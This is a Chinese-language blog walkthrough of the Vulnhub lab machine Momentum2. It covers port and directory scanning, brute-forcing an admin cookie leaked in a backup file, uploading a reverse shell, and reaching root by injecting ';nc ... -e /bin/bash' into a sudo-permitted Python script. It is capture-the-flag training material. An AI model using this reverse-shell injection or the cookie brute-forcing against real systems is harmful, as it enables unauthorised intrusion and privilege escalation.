[Vulnhub]Momentum2

信息搜集

1.netdiscover

扫了半天扫不到,后来dl告诉说虚拟机配置有问题,参考

https://blog.csdn.net/qq_45290991/article/details/114189156

然后顺利扫到ip

image-20210823193326194

2.masscan

masscan --rate=10000 --ports 0-65535 192.168.131.133

image-20210823193609513

3.nmap

nmap -A 192.168.131.133

image-20210823193728655

网站测试

image-20210823203436692

尝试目录扫描

dirb,御剑等扫描无结果

gobuster dir -u http://192.168.131.133/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

使用gobuster扫描

image-20210823203330990

信息 1

进入dashboard.html

image-20210823203148257

发现是一个文件上传网页

-----------------------------之前没做完,接下来继续做-----------------------------------

信息 2

还扫到一个ajax.php,没东西;试试ajax.php.bak

   //The boss told me to add one more Upper Case letter at the end of the cookie
   if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){

       //[+] Add if $_POST['secure'] == 'val1d'
        $valid_ext = array("pdf","php","txt");
   }
   else{

        $valid_ext = array("txt");
   }

   // Remember success upload returns 1 

内容是需要在cookie最后再添加一个大写字母。如果是admin,并且cookie也正确,还需post一个参数secure并设置为val1d,就可以上传pdf,php,txt类型的文件,否则只能上传txt文件。

Shell

那么思路就很清晰了,上传一个反弹shell脚本,在这之前我们需要用burp爆破出cookie的最后一位

记得还要post参数

image-20211118002350053

image-20211118002752293

最终发现只有R的Response为1,其他都为0,那么最后一位应该是R

我们修改后发包

image-20211118002323448

可以看到已经成功上传,接下来监听本地端口,再访问该脚本

image-20211118002614707

反弹成功

提权

home/athena下发现user.txt,拿到第一个flag

image-20211118003126117

同一目录下面还有password-reminder.txt

password : myvulnerableapp[Asterisk]

由此我们得到:

用户名:athena
密码:myvulnerableapp* (Asterisk是*的意思)

尝试ssh登录

ssh  athena@192.168.131.133

image-20211118005646983

查看用户具有的sudo权限,sudo -l

athena@momentum2:~$ sudo -l
Matching Defaults entries for athena on momentum2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User athena may run the following commands on momentum2:
    (root) NOPASSWD: /usr/bin/python3 /home/team-tasks/cookie-gen.py

查看cookie-gen.py

import random
import os
import subprocess

print('~ Random Cookie Generation ~')
print('[!] for security reasons we keep logs about cookie seeds.')
chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'

seed = input("Enter the seed : ")
random.seed = seed

cookie = ''
for c in range(20):
    cookie += random.choice(chars)

print(cookie)

cmd = "echo %s >> log.txt" % seed
subprocess.Popen(cmd, shell=True)

运行后会要输入seed的值,这个值会echo到log.txt文件中,并且会执行bash命令,可以直接反弹shell

构造:

;nc 192.168.131.129 1234 -e /bin/bash;

image-20211118005524533

成功获得root权限

image-20211118003848190

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值